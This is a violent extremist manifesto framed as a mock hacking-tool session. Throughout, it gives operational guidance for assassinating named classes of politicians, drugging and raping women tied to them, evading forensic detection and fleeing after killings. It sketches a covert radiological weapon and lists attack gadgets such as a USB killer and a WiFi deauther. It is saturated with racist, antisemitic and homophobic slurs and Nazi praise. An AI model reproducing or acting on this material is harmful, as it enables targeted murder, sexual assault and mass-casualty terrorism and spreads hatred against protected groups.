ᐃᐤ - Bald Eagle Down
Version 6.0
.,oo8888888888888888ooo,. "A GLORIOUS DAY FOR FREEDOM, BULLYING, OIL THEFT, GAY SEX, NIGGER WORSHIP, ONE DROP RULE AND DEMOCRA- *BOOM*
,od88888888888888888888888888oo,
,o0MMMMMMMMNMMMMM8888888888888888888o. ((------------ /
d888888888V'.o ```VoooooooOOOOOOOOIII, (( KFC Bullet | ------------------
l888LLLLl: O , ,O ``VlMM88888IIAMMMMMOMb, ((------------ \
l8888888LLb `VooV',O,MoodlM88888IIIMMMMV'ddMOMb, "Shut the fuck up, faggot ass bird."
l88888888888booooooOlllllIIIIIIIIIAMMV',dMMOOMMMb, - angry mongrel with doxbin account, 2021, colorized
888888888888888888LLLLIAMMMMMMMMMMMMMMMMMOOOMMMMMMb,
8M8888888888LLLMMMAAMMMAAMMMMMMMMMMMMMMOOOOMMMMMMMMb
88M8888888lll888888mmmmmmmmmmmmmmvvvvvvvvvvvvv,`MMMM
8888M888888llllllllllllllV::::V''~~ ~~'V lMMV
M8888MMM888888TTTMl8lllllb:::V' `IiM'
MMMMM8888M8k88888l8Mklllllk:A' `V'
lMMMMMM888888888888MMMMMlll:M
l8MM8MMMM8888888888888MMMMllM
l888888888888V`V888888MMMMMMM .mmmmm,.
88V`V8A8888888 8888MMMlV`VMMM. .odMMMMMMMObo.
`8' 88 A8 VMM8 `8' `88l' 88`Vb ooodMMMMMMMMMMMMMMb,
: V 0 `OO' : `0' :`0 `8b`V888888888888888888bvodl
O' : ` `b`V888888888888888888bV8l
a.k.a.
The Known Vulnerabilities Of The United States Of America
Уязвимости Соединенных Штатов Америки
美利坚合众国的脆弱性
آسیب پذیری های ایالات متحده آمریکا
SIEG HEIL AND UP WITH
####################||--------------------
####################|| |
####################|| |
####################|| |
====================||====================
| ||####################
| ||####################
| ||####################
|___________________||####################
PISS, SHIT AND SPIT DOWN UPON
============================================
============================================
============================================
============================================
==========================******************
==========================******************
==========================******************
==========================******************
==========================******************
┌─[user@laserhawk]─[~]
└──╼ $sudo -i
┌─[root@laserhawk]─[~]
└──╼ $ msfconsole-start
Executing msfconsole-start
[i] Database already started
[i] The database appears to be already configured, skipping initialization
[i] Database already started
[*] Initializing msfd...
[*] Running msfd...
____________
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%| `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]
[% .--------..-----.| |_ .---.-.| .,a$%|.-----.| |.-----.|__|| |_ %%]
[% | || -__|| _|| _ || ,,aS$""` || _ || || _ || || _|%%]
[% |__|__|__||_____||____||___._||%$P"` || __||__||_____||__||____|%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a, ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% `"$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
[%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
=[ metasploit v6.0.44-dev ]
+ -- --=[ 2131 exploits - 1139 auxiliary - 363 post ]
+ -- --=[ 593 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
+ -- --=[ 1 nation-running program ]
Metasploit tip: When in a module, use back to go
back to the top level prompt
msf6 > rape-the-united-states-in-the-ass
[-] Unknown command: rape-the-united-states-in-the-ass
msf6 > bald-eagle-down
[*] exec: bald-eagle-down
Bald Eagle Down - a standalone text file of goodies to help level the geopolitical playing field.
Usage: /edit/TheKnownVulnerabilitiesOfTheUSA -rape + Click Save
Example: /edit/TheKnownVulnerabilitiesOfTheUSA -rape
Options:
-rape Rape the United State Of America And Others
-put-dick-back-in-boxers Do not rape the United States Of America Or Others
-h, --help Show this message
msf6 > /edit/TheKnownVulnerabilitiesOfTheUSA -rape
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following nations will be RAN:
united-states-of-america israel united-kingdom india
0 upgraded, 0 newly installed, 4 to get ran and 2 not upgraded.
After this operation, 4 nations will get ran.
Do you want to continue? [Y/n] Y
(Reading database ... 148856 files and directories currently installed.)
Running baldeagledown (6.0.0) ...
Have English speaking people read this or translate this
Попросите англоговорящих людей прочитать его или перевести
请由讲英语的人阅读或翻译
سخنرانان انگلیسی که این خواندن و یا ترجمه این وجود دارد
=================================================================================
Get These Items Before The Shit Hits The Fan:
- BAOFENG UV-5R https://www.amazon.com/Baofeng-UV-5R-136-174-400-480Mhz-1800mAh/dp/B074XPB313
- REFLECTIVE VEST https://www.amazon.com/gp/product/B08VHBLWPG
- OLYMPIA FOLDING BOLT CUTTERS, 14 INCHES https://www.amazon.com/gp/product/B00GABUX9G
- CONAIR STYLING HAIR TRIMMER TOOL https://www.amazon.com/gp/product/B000HYSSGW
- CUT RESISTANT SLEEVES https://www.amazon.com/gp/product/B07WGFD3HM
- BLACK HARD KNUCKLE GLOVES https://www.amazon.com/Andyshi-Military-Tactical-Paintball-Motorcycle/dp/B07516QBYF
- HONEYWELL THERMOPLASTIC HARD HAT https://www.amazon.com/gp/product/B0065OD4QW
- BLACK ACU TYPE RIPSTOP JACKET https://www.evike.com/products/67832/
- BLACK ACU TYPE RIPSTOP PANTS https://www.evike.com/products/67837/
- BLACK IIIA BODY ARMOR https://www.ebay.com/itm/331385398423
- ESCAPE BRACELET https://www.ebay.com/itm/362884687061
- TIHK KEYS https://www.ebay.com/itm/303948536417
- POLYMER TRI-SPIKE, NON METALLIC https://www.ebay.com/itm/292090595516
- USB KILLER https://www.ebay.com/itm/312809246269
- NODEMCU ESP8266 WIFI DEAUTHER https://www.ebay.com/itm/142991510943
- MAGELLAN TRITON HANDHELD GPS https://www.ebay.com/itm/401555901726
- MILITARY COMPASS https://www.ebay.com/itm/303816569418
- IFAK TRAUMA KIT https://www.amazon.com/EVERLIT-Emergency-Aluminum-Tourniquet-Military/dp/B08DCQQ9BM
- BLACK UNDERARMOUR BALACLAVA https://www.amazon.com/Under-Armour-HeatGear-Tactical-Black/dp/B00RWF2Q8A
- BACK BELLEVILLE BOOTS, STEEL TOE https://tacticalgear.com/belleville-300-trop-steel-toe-black
- ARCTURUS SURVIVAL BLANKET, BLACK https://arcturusgear.com/products/arcturus-all-weather-outdoor-survival-blanket-60-x-82-black?variant=31192179277935
- 20 FAHRENHEIT SLEEPING BAG https://www.coleman.com/sleeping-bags/24-f-and-below/kompact-20f-rectangle-sleeping-bag/SAP_2000037219.html
- ROLLING DUFFEL BAG https://www.llbean.com/llb/shop/904?originalProduct=63915&productId=529350
- WLAN JAMMER/WIFI/BLUETOOTH ANTICAMERA JAMMER https://jammers.store/wifi-bluetooth-wireless-video-audio-blocker-jammer-20-meters-p-164.html
- OZARK TRAIL THREE MAN TENT https://www.walmart.com/ip/Ozark-Trail-3-Person-Camping-Dome-Tent/422817405
- RUGGED TENT SPIKES https://www.walmart.com/ip/12-Camping-Tent-Spikes-Lawn-Gardening-Tree-Stake-10-5/513095435
Anything else, you should figure out by now.
A good E-tool and a water filter will help you as well.
Get any military manuals you can. Get atlases for your regions.
Make laminated topography maps.
Get cable ties.
=================================================================================
Look Into These Sites
- ZeroDayGear
- Tag-Z
- Anley
- ArmyNavyOutdoors
- Evike
- eBay
- Amazon
- Newegg
- BrassKnucklesCompany
- ePDFHub/EPDFPUB
- Parrot Security
- Kali.org
=================================================================================
If You Are Trying To Assassinate A Governor:
State capitals are public property, there is no dress requirement, but, dress professional like you belong there. History, curiosity, a desire to watch the legislative process, a want to speak with your legislator - All of these are valid excuses for being at a state capitol.
The governor walks out, normally through a non-public doorway and/or into the garage directly. They are transported by his personal security detail. They do not wear laser safety goggles or body armor. It is very possible to get near governors at public events. Governors have daily/weekly/monthly agendas and many events are announced publicly on a Governor's Calender. State Police Executive Protection details do wear body-armor, typically level IIIA plates, on the front, sides and back. If you assassinate a governor, you stand to face life without parole. You will benefit from having a high powered laser but you can not get that into a state capitol building.
Mayors can be taken out with a blinding laser at the mayor's office. Leave the cellphone at home, wear a dark hoodie and a mask. Have a change of clothes nearby in an area without cameras.
---------------------------------------------------------------------------------
Killing Politicians
- President, VP, and Speaker Of The House and their families have Secret Service protection 100% of the time as they are #1, #2 & #3 in line for the presidency.
- People like Supreme Court Justices, Senators, Congresspeople can have Secret Service protection if/when there is reason for them to have it, when there are credible threats to justify them having this but they do not have Secret Service protection all of the time, or even much of the time normally.
- Congresspeople and Senators, when they're within their home state for example, are often accompanied by a couple of State Police officers when they're in the state, and out and about in public at events, gatherings or town-halls.
- Ambassadors, Embassy Dignitaries and the like, are protected by the Diplomatic Security Services.
- Federal attorney general, Assistant Attorney Generals are protected by the FBI but other federal agencies can/do assist when credible threats arise.
- Governors are protected by their State police, and/or a special Capitol Police Detail. These outfits operate much like the Secret Service do, but only within the state, as their states law enforcement is responsible for their protection.
- The states legislature would be protected by the State Police in that state, or whomever the individual state holds responsible for their security.
- States Attorneys (within the state) would also fall under the State Police protection.
- States have also been known to hire out to private security outfits as escorts to protect their representatives when the need arises.
- There have been congressmen and senators out in their home state/town without obvious security personnel at their side but that's no guarantee that none were present.
- Non-White, Democratic senators and Congresspeople are less likely to have a personal security detail during re-election campaigns in their home state.
- For federal elected officials, stick with Congresspeople, Senators and below as softer targets when congress is not in session and they're in their home states.
- In the States, pretty much anyone below Governor, again, when their legislatures are not in session is when they're more relaxed for the most part.
- Dox them via voter registration. All politicians are registered to vote and do vote for themselves.
---------------------------------------------------------------------------------
Wetwork Weaponry:
Melee is the worst to go. You never want to beat or stab anyone. It's too intimate.
I want to make it painfully clear that you need to be clean and you need to be quiet.
Crossbows and break barrel, nitropiston big-bore airguns can easily do the fuckers without much blood, DNA or ShotSpotter.
Get this gun: https://www.airgundepot.com/hatsan-mod-130s-vortex-qe-air-rifle.html
Or this gun: https://www.amazon.com/Benjamin-Trail-Air-Rifle-rifle/dp/B00DBEBTNY
Or this one: https://www.airgundepot.com/sam-yang-dragon-claw-air-rifle.html
Or this bow: https://www.cabelas.com/shop/en/ravin-crossbows-r29-crossbow-package
See below.
---------------------------------------------------------------------------------
Raping Female Politicians, Male Politicians' Wives & Daughters:
First and foremost, permablind any woman you are going to rape with a 445nm laser that is at least 1000mW (1 Watt). But, if you insist on not doing that, dox the politicians' daughters or the femcunt politicians themselves. CDC employees and media personalities also count here.
Rohypnol was a very popular choice for date rape. It was used in clubs, bars, restaurants. It is tasteless and odorless. The girl acts and appears very drunk and cannot remember what happened afterwards.
It was so popular that the new Rohypnol tablets have a blue dye core so that when put into girls drinks, clear drinks will turn blue although it is harder to see in dark drinks such as those mixed with Cola. From what people say there are still alot of the older tablets available however that are colorless/odorless/tasteless.
There are others but I believe that was the most popular. It is a very powerful drug and must be
carefully administered like most drugs.
Usually girls should be in groups, with at least 1 girl staying to watch and make sure their drinks are not spiked. However, a politician's daughter is a rich brat cheerleader type, not a smart nerd girl or a art hoe wallflower or a goth chick.
You can use scopolomine to get a girl to fuck you but that is not gonna be in the USA most likely and that is not what this is about. This isn't about getting your dick wet, it's about conveying power on a politician's body or their family.
Ketamine is a good rape drug. GHB is also another good rape drug. You can either infiltrate the politician's daughter's social circle and date rape the politician's daughter, or, you can break into her dorm, her family home and rape her. Kidnapping is also possible here.
GHB - Gamma Hydroxybutyrate
Easy to prepare - Has no taste in orange juice apparently.
WARNING - If you find or prepare, only use 1 teaspoon or less for 500ml. DONT EVER USE MORE.
Order the bitch two Screwdrivers at a bar with extra juice and put half a teaspoon in each.
If you don't know what a screwdriver is: https://en.wikipedia.org/wiki/Screwdriver_(cocktail)
But, back to reality here. Get dox on the political bitches. Blind them and rape the fuck out of them.
If she picks you out of a lineup, they will test you. Blind bitches don't pick people out of lineups for rape.
You would need:
- A dick extension as they can tell what size the rapist has.
- Use a condom to prevent dna testing from precum and a mask would also be helpful
- Wear a full face halloween styled mask.
- Don't talk because if she hears your voice, you can be identified
- To shut the fuck up. Never talk about it, never confess to the priest, the cops or a friend. Never tell anyone shit.
If you want to increase your chances of not being caught
0) Shave your fucking pubes.
1) Shave your entire body, everything including eyebrows, lashes, arms, legs - everything. If they find one hair or dandruff/skin flake, you can be identified. Make sure not to spit, sweat, sneeze, flick a booger or ejaculate. Even pre-cum will fuck you over. USE CONDOMS.
2) Make sure not to carry ANY of her hair away from the scene. If they can find one eyelash in your car or on the sleeve of your shirt, you can be identified.
3) Wear gloves on your hands. Leather.
4) Do not take any fucking souvenir from her - panties, earring, etc.
5) Do not take a video or photo of anything.
6) Do this in a area without cameras.
7) Pour water onto the ass and pelvic area so any possible thigh and hip sweat can be washed off.
Suffice it to say, there are A LOT more ways for you to get caught than ways to get away with it.
Just don't even do it. Blind the bitch and be done with it. Rape is fucking despicable. Unless jewish.
If a bitch is Jewish, her rape was justified and she deserved it.
Rape them and stompbortinate the semite baby.
*********************************************************************************
Evasion & Transport After Killing Politicians And Journalists:
Act like you are meant to be somewhere, as if you did nothing wrong. Appear law-abiding at all times. When confronted, remain calm and have an actual truthful explanation, along with the malicious one that you do not tell them. Dress like a homeless person, and have a spare bag of clothes stashed in a bush incase you need to disguise after the event. Wear track pants you can rip off amd then have shorts + black long johns on. Learn about wooded areas and homeless camps. Prior to taking out the target, embed yourself in a tent camp. Be homeless, make a story and stick to it. When it's time to make your move, you'll have no issues. Having a tent to hide in after the operation in a homeless area could be a effective means of exfiltration.
The Christchurch shootings were in my view both ineffective and immoral since they really didn't achieve anything other than helping the New Zealand government gain further control over the populace and harm public relations. I'm for acceleration but how the fuck does this help the right? Whenever someone pops off, nobody even follows through. That's what the fuck is wrong with the right wing. If there were fifty McVeighs a week after OKC, then we would be in Civil War 29 by now. The right is cucked and full of bitches and stupid faggot ass boomers who need to choke to death on a black dick. I hope boomers get their clavicles broken when their millenial kids and zoomer grandkids put them in a nursing home staffed by hood niggers hellbent on getting revenge on Massa Y.T. Cracker. The glowniggers know precisely how to get you rock hard for war and they make you edge for months on end, only to deny you the collapse, on some femdom shit. Incrementalism works because the left is not stupid. Never underestimate the enemy, and, never misunderstand the system. Do not carry a cellphone to any event where you will be beaming, stomping, stabbing or shooting. Use Atlases, Baofengs and hiking GPSes to get around. For interstate travel, use Greyhound because they don't ask much or hop freight trains. If you don't have GPS, a phone will do. You will need a phone in case you fall off a fucking train at 70mph.
Read this first:
https://www.reddit.com/r/vagabond/comments/2z61wb/trainhopping_101_finding_your_train/
>inb4 wahhhhhh reddit
Shut the fuck up. Leftists have a monopoly on this info. Put pride aside and swallow that shit. You need this info.
>inb4 you glow
Kill yourself fucking NIGGER
Subscribe to these channels if you have JewTube, furthermore, get NewPipe for Android from f-droid.org and download all the videos from these YouTube channels. If you don't have a phone, use ytmp3.cc and select mp4:
https://www.youtube.com/channel/UC8XCmWXE2J5dF7wXkzUVHtw - RanOutOnARail
https://www.youtube.com/user/bravedaveempire - Brave Dave
https://www.youtube.com/user/Whatsupbrodudehi - TrevorJacob
https://www.youtube.com/user/TheHoboShoestring - Hobo Shoestring
https://www.youtube.com/channel/UCpXwMqnXfJzazKS5fJ8nrVw - shiey
https://www.youtube.com/channel/UCcAIn3p2GXRdF08915ngPgA - Jumping Off The Cliff
https://www.youtube.com/user/Telestations - Telestations
One can not just start freighthopping. You will need the following:
- Experience from a freighthopper
- Patience
- Water
- A watch that is LCD and isn't a fucking fitbit/smartwatch/fedtraceware
- A helmet
- Common sense
- The ability to infiltrate a leftist circle without revealing yourself
- A baofeng UV-5R radio or Uniden radio
- A handheld hiking GPS (I recommend the Magellan Triton)
- A solar powerbank with a Tracfone and prepaid 4G LTE data. Freighthopping is the one time having a phone is acceptable.
- Get a PDF reader app for the train symbols PDFs I may include later. I recommend MuPDF.
- Other stuff too but this is basic. Do your own research.
Make an account on squattheplanet.com. Join their discord.
Join the r/vagabond and r/trainhopping subreddits and make threads like:
"new to trainhopping, can you explain this to me"
"im in *fake location*, how do I start hopping"
And go from there. Lastly, go to this thread on Reddit:
https://www.reddit.com/r/vagabond/comments/4ibnj0/the_vagabond_bible_the_ultimate_download_for/
Furthermore, buy a copy of this fucking book:
https://squattheplanet.com/book/ - The Anarchist's Guide To Travel
https://www.amazon.com/Anarchists-Travel-Matthew-Nicholas-Derrick/dp/099912028X
Read this:
https://squattheplanet.com/threads/what-do-you-consider-the-gold-standard-pack-for-train-hopping-or-just-general-all-around-use.35778/
And save all these to PDF or print out the Intermodal Sections of all of these:
Norfolk Southern - http://railroadfan.com/wiki/index.php/NS_Train_Symbols
CSX - http://railroadfan.com/wiki/index.php/CSX_Train_Symbols
BNSF - http://railroadfan.com/wiki/index.php/BNSF_Train_Symbols
KCS - http://railroadfan.com/wiki/index.php/KCS_Train_Symbols
Canadian Pacific - http://railroadfan.com/wiki/index.php/CP_Train_Symbols
Canadian National - http://railroadfan.com/wiki/index.php/CN_Train_Symbols
Union Pacific - http://railroadfan.com/wiki/index.php/UP_Train_Symbols
Download the Vagabond Bible and begin reading.
*********************************************************************************
Tech:
Deactivate all google bloatware and get F-Droid.
Try to get a Google Pixel and Put Lineage OS on it.
Get a BlackBerry if possible.
Learn about Linux Live USBs. Make one.
If you have to commit a rape or robbery or whatever, put your phone on a Youtube playlist of ten hour videos.
If anyone asks, you were at home watching YouTube or jacking off to ten hours of Blacked.
Do not get social media. Ever.
=================================================================================
Alternative Funding
I Have BTC, How Do I Cash It Out?:
- Use Trust Wallet, Bitpay and Paypal.
- Use TextNow for verification.
- Avoid Paxful, Phemex, Coinbase or any of those faggot ass scammer exchanges. Cut out the (((middleman))) and (((kenyan/nigerian))) traders. Just avoid Paxful 100%
- Avoid Venmo and CashApp.
- Move your shit to Bitpay and convert it to USD after applying for the virtual card.
- Store your shit on the Electron or Trust Bitcoin Wallet
- Apply for the Virtual and Physical Bitpay Card
- Once approved, you can use the virtual card ASAP.
- Send the desired money from Trust Wallet to the Bitpay wallet.
- Move it from BTC to USD balance via loading your Bitpay card.
- You now can use your BTC card to buy shit like a VISA Debit Card.
- Once you get the physical card, you can make cash withdrawals.
- Congrats, you didn't have to deal with some Paxful sped scammer nigger or some faggot from LocalBitcoins.
- Go straight to APMEX and buy copper and silver.
- Get some XMR as well.
Stonks:
- Never use (((Robinhood))). Do you due diligence and find a less jewy stock site.
- Buy stocks in companies that will exist, even when the USA falls. Think global - Coca-Cola, Pepsi-Co, McDonalds, etc.
- Invest in Russian and Chinese shit, even Iranian. Diversify your money.
- Buy stock in companies with low prices and take companies over.
- Short any and all faggot kike hedge funds.
- Buy a shell company in a tax haven country.
- Set up a clause in hiring contracts that you can not be voted out or fired.
- Flip declining companies. Become CEOs and use your money to help lobby for the right. Help other anons. Drop them a couple hundred BTC so they can do the same shit.
Metals:
- You're not lugging a fucking treasure chest when SHTF.
- Get a bunch of copper, silver and gold. Bars and rounds. But, trust me, you'll need bars.
- You will need metals after the war and collapse, to back the new currency.
- Many people who buy metals are delusional as fuck, thinking they will buy a 16.9oz water bottle full of diesel with a 1oz, $27 silver bar. This is nigger-tier thought.
- The only currency during a war or collapse is labor, food/clothing, shelter, gas, ammo, knowledge. Considering knowledge is power, you should thank me for paying you.
- Get airtight sealed containers and then fucking cache your precious metals in a Pelican case that is waterproof, deep underground.
- Geotag that shit and be sure to bury deep and put a dead dog or something on top of it. No one is stealing Fido so your metals will be safe.
- After the war, go get your shit back and introduce it to the market for the new money.
=================================================================================
When conducting minecraft assassinations in a crowded village you need a effective plan to:
1. Know where the target is/the route they will be taking.
2. Be able to find a appropriate vantagepoint to set up a ranged position.
3. Having a clear line of sight and the training to perform
4. Having a thorough escape plan that accounts for every contingentcy. Ideally you would want to be able to pack up the weapon and other equipment into a briefcase and exfiltrate the area with no loss of equipment. However if you had the funds simply leave your equipment and book it as fast as you can that may potentially be better. You need to have a good idea where all the cameras are in your city, luckily today you can go anywhere with glasses, a non-descript hoodie and a mask on and go anywhere anonymously. Study infomation theory, if you know how government investigators track down criminals you can learn how to prepare the necessary counter measures to ensure you can escape to safety.
Non-lethal shots (like going for the testicles, blown a politicians hands or knees off) could also be good. However simply purposely missing is both easier to execute and has no long term psychological toll on the operator.
Whilst some people simply need to die, most people who are against our interests are easily replacable.
So instead of killing them, causing a media shitstorm and negative public perception + creating a martyr you should simply scare/wound the target whilst allowing them to stay in their appointed position. It is about sending a message. And the message you want to send is "NOTHING IS BEYOND OUR REACH, YOU ARE NOT IN A IVORY TOWER, WE CAN REACH YOU AND WE CAN HARM YOU IF WE CHOOSE TO DO SO. YOU CANNOT CATCH US, YOU CANNOT ESCAPE US. HOWEVER IF YOU CEASE YOUR CORRUPTION AND EVIL YOU WILL BE SPARED."
To me, this seems better than doing the Branden Tarrant Islamic terrorist style assault on a easy civilian target. Mass assaults on villagers plays into the moderators hands. They WANT pity violence directed against civilians, they want ethnic violence that doesn't harm the political and financial infrastructure. Again let me reiterate, Politicians are cowards and self-interested people. Against even the threat of assassination they shit themselves and become irrational. They begin to act up and make mistakes. THIS is the meaning of accelerationism, forcing the political elite to make mistakes that reduce their power.
Lots of cameras nowadays track you by your gait, phone or ID. Leave that shit at home and smack yourself in the leg with a hammer so you have a limp. If you have to, practice and fake a fucking limp.
=============================================================
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
Superweapon Concept:
Oculus Of Malcontent/Orb Of Misery/Sphere Of Contempt: Multi-Layered Effervescence Radiological Dispersion Device (MLERDs)
Potential Uses:
- MLERD cluster "bombs" that will release multiple sphere to fall into rivers, freshwater lakes, water treatment plants.
- MLERD conical warheads.
- MLERD radioactive graphene filled anti-material bullets
- MLERD grenades
Description:
Radioactive Graphite Nanoparticles Within Microparticle Lead Spheroids with Elemental Sodium/Aluminium/Iron Oxide Shell, Hygric Trigger
Methodology:
The most logical method of executing a radiological attack for a hypothetical enemy would be, considering America's newfound ability to detect shielded ultra-heavy elements would be to use radioactive graphite encapsulated within a multi-layered spheroid. The outermost layer would be a water-reactive layer of elemental sodium that serves as a trigger for the next layer, which would be a mix of thermitic materials aluminium and iron oxide of the finest granularity possible. This exothermic reaction, triggered only once exposed to water i.e. dermal contact, inhalation, ingestion would be sufficiently intense to release encapsulated radioactive graphite without alerting victims to the presence of the substance on their skin except in the case of intense exposure, which would lead to severe burns. There would be little difference between the production methods for this hypothetical weapon and the known methods for producing nanothermitic explosives, save for the encapsulation of radioactive graphite within a leaden capsule beneath the thermally reactive elements.
Rather than trying to atomize densely packed and easy-to-detect radioactive elements using high explosives, a technique likely to lead to an adversary’s failure to achieve its objectives and one which draws attention to the possibility of a “dirty bomb,” leading to shelter-in-place orders and general public awareness, a superior strategy that may become favored by adversaries would be to use pre-granularized spheroids of the sort described here. A radiological attack of this sort would manifest itself as acute radiation sickness pockets associated with detectable radioactivity in the bodies of patients in hospitals, but no detectable levels of radiation in the public venues where exposure occurs for days, weeks, or months, depending upon the time of the next rainfall in the area affected. Shipment disguised as talcum powder/cornstarch coupled with releasing the powder from a crop-duster or if aircraft not available, then using fans upwind from target cities would be most likely.
This is perhaps the most frightful of scenarios as it would likely lead to a very high fatality rate when cancers are taken into account over a period of years, with men exposed while walking down the street fatally exposing family members with a simple hug upon arriving a home at the end of the work day, and showering in water after an exposure, rather than eliminating the contaminant, would serve only to release it. This type of attack would be most likely, impossible to anticipate and would take weeks to recognize, well beyond the point where it could be contained. As for how difficult it is, it's probably quite difficult without some rather expensive equipment, but that equipment is now in reach for entities such as Iran. Being able to basically co-locate a bunch of little 'dots' of multiple different types of metal is at the heart of semiconductor manufacturing. Any equipment that can make semiconductors can be used to do this. In large quantities, it could be used to render whole regions uninhabitable. It could be smuggled in past international boundaries without being detected by any method in use right now and crop dusters could be used to spread it. Not to mention, you'd have to have access to radioactive graphite. For this, you'd have to have a nuclear reactor, unless you had a means of rendering ordinary graphite radioactive. A person could hypothetically use an old x-ray machine from a dentist's office and just run it 24/7 to ionize regular graphite, not sure what the power requirements and time requirements would be, though. Plus you'd give yourself radiation poisoning running an X-ray machine all day unless you had proper shielding. Chemical encapsulation has just as much potential to be deadly, but it isn't as persistent as radiological contamination. Nanofabrication technology being sold by China to other countries would be the likely means of achieving encapsulation on any kind of scale.
Structure:
Water Reactive Sodium -> Thermite -> Lead -> Radiative Graphite Core
Notes:
- Zeppelins/Blimps/Airships can release drones capable of releasing radioactive graphene dust or these spheres.
- If you can make semiconductors, you can make this.
- Must have a means to irradiate graphite.
- You can drop depleted thorium dust on people from drones also
-------------------------------------------------------------
How To Fly An F-15 Fighter Jet:
- https://www.youtube.com/watch?v=zikI2fazPLo
- https://www.youtube.com/watch?v=vABbPdOY7oY
- https://www.youtube.com/watch?v=uHiOmhXQ5WU
- https://www.youtube.com/watch?v=BhSzRjLUGoM
- https://www.youtube.com/watch?v=LqTOszQRCI0
- https://www.youtube.com/watch?v=YuTuTUrqyoM
- https://www.youtube.com/watch?v=DTVyIZgTL_w
- https://www.youtube.com/watch?v=3G_DCq2Dl24
- https://www.youtube.com/watch?v=BNji00fsDdQ
- https://www.youtube.com/watch?v=y73tnUn6ETY
- https://www.youtube.com/watch?v=0cHMuVem_0M
-------------------------------------------------------------
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
How To Drive (Steal) A Humvee:
- https://www.youtube.com/watch?v=Lgol-o2gSiU
- https://www.youtube.com/watch?v=0JQSlpvaHF0
- https://www.youtube.com/watch?v=egm7xNu3oBU
- https://www.youtube.com/watch?v=5LKGeRV8pZg
- https://www.youtube.com/watch?v=67n64jH3pT0
- https://www.youtube.com/watch?v=XQtMi4UnIsQ
- https://www.youtube.com/watch?v=2QsXf-t_Dt4
-------------------------------------------------------------
####### # # ####### ####### ###### ### # #
# # # # # # # # # # # #
# # # # # # # # # # # #
# # # # # # ###### # # # #
# # # # # # # # # ####### #
# # # # # # # # # # # #
# ##### # ####### # # ### # # #######
How To Use The Most Common Guns & Grenade/Rocket Launchers Found In The Hands Of The United States Government (LEO, Military, Federal):
MK-19 40mm Grenade Launcher:
- https://www.youtube.com/watch?v=qPfqxekbA7g
- https://www.youtube.com/watch?v=XZYvCUSusQI
- https://www.youtube.com/watch?v=YkgJT9D0U_I
- https://www.youtube.com/watch?v=qPfqxekbA7g
RPG:
- https://www.youtube.com/watch?v=8MrwJM1_kw8
- https://www.youtube.com/watch?v=V1NJPSZZBsk
- https://www.youtube.com/watch?v=ZfgLmDg-lWA
- https://www.youtube.com/watch?v=kIohMxdYzGY
FIM-92 Stinger Surface To Air Rocket Launcher System:
- https://www.youtube.com/watch?v=q0nuhI05QyA
- https://www.youtube.com/watch?v=uH0idEAYl7I
- https://www.youtube.com/watch?v=ivz-SG84kjg
Anti-Tank Guided Missiles:
- https://www.youtube.com/watch?v=wrhybKEzb-0
- https://www.youtube.com/watch?v=jaI56HCEhjw
- https://www.youtube.com/watch?v=4h0pi40m1ys
- https://www.youtube.com/watch?v=Tb7_V2xIwaA
AR-15:
- https://www.youtube.com/watch?v=mL-ZzgwkuzE
- https://www.youtube.com/watch?v=KAg3unFvItg
- https://www.youtube.com/watch?v=PFFN_j3WD80
- https://www.youtube.com/watch?v=cdBiZfv1jSs
- https://www.youtube.com/watch?v=ByzxfIMRmNo
- https://www.youtube.com/watch?v=kwK3j615734
AK-47:
- https://www.youtube.com/watch?v=_B4v46Ldvzc
- https://www.youtube.com/watch?v=oqFmQYNBwcw
- https://www.youtube.com/watch?v=-Hq8e9uIXM0
M249 SAW:
- https://www.youtube.com/watch?v=NQSfFvaztdc
- https://www.youtube.com/watch?v=BP-N1Dt9rGY
- https://www.youtube.com/watch?v=TrzmRdMPT84
- https://www.youtube.com/watch?v=zjcA_-7Bwdw
Kriss Vector:
- https://www.youtube.com/watch?v=xzFQGKs22Wg
- https://www.youtube.com/watch?v=-xtTFGwoP10
- https://www.youtube.com/watch?v=yHT8IVCXE7I
- https://www.youtube.com/watch?v=IzDHLFvze8c
Pump Shotguns:
- https://www.youtube.com/watch?v=crOUq5iz0rM
- https://www.youtube.com/watch?v=fDnyRXF_0Ck
- https://www.youtube.com/watch?v=G1NNMaVnBYk
- https://www.youtube.com/watch?v=gLaONDUMxRU
- https://www.youtube.com/watch?v=Z4tc1mKdAiU
- https://www.youtube.com/watch?v=IzDHLFvze8c
PS90/P90:
- https://www.youtube.com/watch?v=wA4Wht73fw8
- https://www.youtube.com/watch?v=gYkMrlbXOm0
- https://www.youtube.com/watch?v=heWuhDADCu8
- https://www.youtube.com/watch?v=8Yd6627qaH0
- https://www.youtube.com/watch?v=dAaHbmbk8xE
HK (Misc):
- https://www.youtube.com/watch?v=yihK3jlQ-MI
- https://www.youtube.com/watch?v=CofI70hK2ls
- https://www.youtube.com/watch?v=Xq8uyB091Dw
- https://www.youtube.com/watch?v=Va9Jioond4c
- https://www.youtube.com/watch?v=onzmRmgD9w4
- https://www.youtube.com/watch?v=2P9UGjEMPoE
Barret Anti-Material Rifle:
- https://www.youtube.com/watch?v=fvm-xUvlfqE
- https://www.youtube.com/watch?v=AUvvXWGNnDg
- https://www.youtube.com/watch?v=ZmO_J-_N_8Q
